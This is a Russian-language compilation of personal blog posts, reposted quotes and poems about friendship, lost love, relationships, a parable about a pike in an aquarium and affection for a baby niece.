Я нейтрально отношусь к алкоголю, могу выпить естественно.Но у меня это все обычно на дни рождения подруг, новый год, еще подобные праздники и иногда мы собираемся с Машей на фильм с суши и позволяем себе глинтвейн.Но это бывает очень редко и алкоголь я как таковой не люблю.
зашла в инстач, у нее выложена фотка как они сходили в магаз перед парами и там куча конфет и бутылка алко.Естественно мне это не нравится.
Написала ей.После чего мне с ее акка пишет эта самая одногруппница с наездами.И вот это меня как-то задело.Это вообще как называется-слить мои сообщения и разрешить ей написать мне.Как будто мы сами разобраться не можем.П.потом пишет еще типа "успокойся".ну конечно.Какая то овца на меня наехала, влезла со своим носом и в итоге я загибаюсь от дикого кашля, плачу и меня вот вот стошнит.Если этой хочется бухать-пусть бухает.Но блин П.умная ж девочка.Она то куда..Я не против того, что можно иногда выпить.Но блять.
Ай.Зачем ко мне прислушиваться, я ж никто.Пусть делает что хочет.Я пекусь как дура, переживаю, чтобы она во всякую хуйню не ввязывалась а в итоге что.
Плачу, слушаю грустные песни и понимаю что на мои чувства походу ей глубоко начхать.Иначе она бы поняла что мне не нравится.Я не запрещаю.Просто..ай.В жопу все.Всех в жопу.
Это не то чтобы обида.Это неприятно.
Давно пора бы перестать изливать душу здесь и на фикбуке, ведь кроме меня никому это не надо.и важно только мне.Но не могу остановится.Я ж просто взорвусь от переполняющих меня чувств, которы по видимому ей не нужны.
Я люблю себя накручивать.Я накручиваю себя сейчас? Возможно.
Подумываю купить пачку сигарет.Надеюсь, пока я собираюсь к маме в больницу, я передумаю.Потому что сиги плохо.Алко плохо.

(via meowmiu )

У меня есть одна подруга, у неё на всё есть ответ: "Всё промыслительно".

___________________________________

___________________________________

Во всем есть промысел Божий. Это ответ на все вопросы. Плохо - значит, для чего-то. Хорошо - тоже для чего-то. Если в это верить, то абсолютно перестаёшь ломать себе голову.

(c) Лариса Штейнман

«Я смотрю на женщину глазами своей души и нахожу её горше смерти… »

День 45: Последний раз, когда Вы пробовали что-то новое.

Сегодня в первый раз одна перешла дорогу через мигающий светофор. Я не перехожу по зебре и на мигающий светофор одна. Компанией? Без проблем. А одной - страшно)
На прошлой неделе попробовала мексиканский суп. Без картошки - не пошло)

Блять я такая идиотка..Я беременна и у меня 3 недели))) Хорошо, когда муж умный

Мне говорили: увидишь, и в горле затихнет звук,
Кудри черные обволокут плечо,
И дракон, что живет в позвоночнике, тут же расправит крылья
И опустит голову на твои ключицы.

Мой позвоночник - 11 лезвий и 8 жал,
Ты ушла - я ни словом не возражал -
Лишь ладонь разжал,
Когда стало тесно.

Мне говорили: в глазах тех не сыщешь дна, пропадешь и не вынырнешь -
и погубит она тебя, и беда с тобой приключится.

Вот он я, кто ранил, а после смиренно ждал.
Оголенный провод, пустая комната и кинжал -
Я цветы наши срезал и больше их не сажал -
Без тебя я пустое место.

Что любовь это дар, книги, конечно, лгут:
Тысячи брошенок ищут твой стылый след,
Но когда ты заносишь над ними свои слова –
Сердце за сердцем падает в талый снег. Падает, угасая.
Я стою ближе всех обожженная и босая,
Прикрывая подолом кусочек живой земли.

Боль повсюду, куда бы я ни бежал,
Мое сердце никто так не обнажал -
Я бы вырвал его, похоронил, сбежал,
Но за мною тень твоя следует, как невеста.

Мы случились однажды - больше мы не смогли, и весна отказалась просить за нас.

Еще месяц буду решаться написать ему. Ну просто что я могу ему сказать? Привет как дела? А он мне - все нормально а ты как? А я ему - все нормально, я скучала. А он мне - Ммм ну ок. Заебись разговор да? Как меня бесит это. Неужели мы настолько чужие? Это так с самого начала было? Или так стало?

курить кальян с табаком трофейным, бродить по зелени шерстяной,
ты будешь бойко трещать о чём-то
и вряд ли скажешь, какого чёрта

ты так со мной.

Пьяная шахматистка приползла домой на четвереньках, утверждая, что королева как хочет, так и ходит

Его обещание ей:

Я убью всех пауков, я поделюсь своей картошкой с тобой, даже когда твоя закончилась, и ты все еще голодна. Я никогда не буду грубить твоему животу, когда услышу, что он громко бурчит. Я обещаю быть снисходительным и отвечать с уважением. Я буду есть грибы, когда мы закажем большую пиццу. Я буду целовать твой палец, прищемленный дверью, и твое бедро, ударившееся об стол. Я постараюсь изо всех сил не раздражаться, когда ты шепотом спрашиваешь и комментируешь, при просмотре фильмов. Я позволю тебе выиграть в борьбе, иногда. А иногда нет. Я стану быстрее. Выносливее. Я выдержу все, если ты захочешь. Я буду отправлять тебе случайные смс-ки и дарить тебе глупые подарки. Не всегда. Не по графику. А тогда, когда я захочу. Всякий раз, когда я подумаю, что тебе нужен один подарок. или семь. Я проверю давление в шинах. И напомню тебе, чтобы ты взяла их

Люблю Тебя, и эту осень!

Все эти гуляния после учебы, а иногда и вместо учебы, - очень мило и трогательно. Но, черт возьми, поскорей бы нам уже вернули нашу машину. Да-да, нашу) Немного потерпеть осталось. Скоро все будет ещё лучше.

Я знаю, отношения не бывают идеальными, это тяжёлый труд, это колоссальные усилия и работа которую нужно проводить изо дня в день для того, чтобы они только крепли. Так же недостаточно работать только над отношениями, нужно работать и над собой, нужно развиваться, не стоять на месте, к чему-то стремиться, совершенствоваться и тогда уже будет проще. Увидеть изъяны в ком-то гораздо легче, признать же то, что они есть у тебя, но самое главное работать над ними, это может не каждый. Да, я люблю Ж. и все то время, что мы не вместе я не прекращала любить его ни на день, но замыкаться и сторониться любых других отношений, симпатий было бы не правильно, от того в моей жизни и были В., И. и другие мальчики. У Ж. тоже были другие отношения, но это не значит, что они меняют то, что было между нами. Прошлое никуда не делось, оно не стерлось, у нас все ещё есть та история, то время, те чувства которые мы пережили находясь вместе. Это не значит, что все другие были лишь заменой или чем-то несущественным в наших жизнях, нет, это были новые люди, новые чувства, новые уроки. Я не могу залезть в его голову, я не знаю, что там творится, я только знаю, что он не счастлив и это причиняет мне боль. Так же я знаю, что я если не единственный человек, на данный момент, который может сделать его счастливым, то один из немногих, а может и единственный раз он все ещё в таком состоянии. Я знаю его, знаю лучше других, путь он сам этого не осознаёт, но это так. Я так же знаю, что каждый следующий парень, который встречается на моём пути только лишний раз доказывает глубину моих чувств к Ж. Мне грустно это осознавать, но я сейчас не могу вернуться в его жизнь, я ещё не в полной мере обрела себя, я ещё стала на столько самодостаточной для того, чтобы отдавать ему всю себя. Мне просто нужно ещё совсем немного, всего пару месяцев и я смогу, я снова смогу претендовать на место около него. Если спустя столько лет мы не смогли полностью отказаться друг друга и мы все ещё понимаем друг друга, это что-то да значит, не так ли ?!

Так быстро кидает из горя в радость и обратно, что меня немного укачало.

Есть люди – «закаты» и люди – «рассветы»… Одни с негативом, другие с «приветом»… Но те, что с «приветом» – улыбчивы часто… А те что – «закаты», обычно несчастны… С одними общаясь, ты чувствуешь холод… С другими и в семьдесят, кажется, молод… И ты от одних заряжаешься светом… С другими его круглосуточно нету… Но если отдать человеку – «закату» Кусочек тепла, что исчезло когда-то, А не обвинять, что тоскливо на сердце, Он тоже захочет и греть, и согреться… Ведь людям – закатам, как людям – рассветам, Хотелось бы к счастью пойти за билетом, Но просто любить бескорыстно боялись, Поэтому злились и больно кусались… И люди – рассветы становятся тоже Людьми с негативом на тучу похожих… Когда благодарность в душе исчезает, То небо рассветы в закат превращает… Я тоже порою бываю на взводе… Но знаю, с рассветом печали уходят… И пусть кто-то скажет: «Она же с приветом…» Есть люди – «закаты» и люди – «рассветы»…

Самый ценный подарок, который ты можешь преподнести кому либо — это твое время, потому что ты отдаешь то, что никогда не сможешь вернуть.

В большой аквариум поместили щуку. Сначала она плавала по всему аквариуму. Но потом одну его часть отгородили прозрачным толстым стеклом, и теперь щука не могла туда попасть. Она не видела преграду, просто каждый раз, когда она пыталась плыть в другую часть аквариума, натыкалась на препятствие. Долгое время щука билась в тщетных попытках пробить невидимую преграду. И вот, когда силы почти покинули её, она отступила. Учёные убрали стекло. Но щука больше НИКОГДА не возобновляла попыток попасть в другую часть аквариума. Она плавала в маленьком пространстве, в то время как могла бы пользоваться всем просторным аквариумом, и при этом ни разу даже не попробовала попасть в другую часть своего водного жилища. Поучительный эксперимент, правда? Заставляет задуматься, возможно, в нашей жизни тоже давно уже нет преград, но прошлый опыт, засевший крепко в нашей голове, не даёт нам двигаться вперёд и развиваться? Может быть, стоит сделать всего один шаг вперёд, и получить достойное вознаграждение за труды.

я встану поперек твоего горла и упрусь руками в твои белые стенки, лишь бы никогда не быть найденной кем-то на улице с табличкой в руках " ненужность".
касайся непринужденными взглядами моих губ и не позволяй мне раскрыть рта, потому что как только в этой комнате нарушится тишина - начнет осыпаться штукатурка.
люби во мне искренность и не позволяй пойти трещинам по моему сердцу, иначе этот мир из двух молчаливых фраз невозможно будет спасти.
научись манипуляциям, и я буду подчиняться твоему голосу.
мне всегда тебя будет мало, пока ты не начнешь взаимодействовать со мной в открытую.
я наблюдаю за тобой, но вбираю в себя лишь трепет.
еще немного и я совсем сдамся.
отдамся тебе всего за одно слово.

давай попробуем.

(с)

Скорее бы прошел декабрь, и как-нибудь мимо меня, ибо я не хочу/не могу сдавать сессию. последний экзамен у меня назначен на 30 декабря. да…

Какая то абсолютная и бесконечная у меня любовь к моей Алисе.Сидит у меня на руках, я ей песню пою, она меня в нос пальцем тыкает и хохочет.Это что-то всепоглощающее…невероятное, это не сравнится ни с чем…если я так люблю племянницу, то что же будет с моими детьми…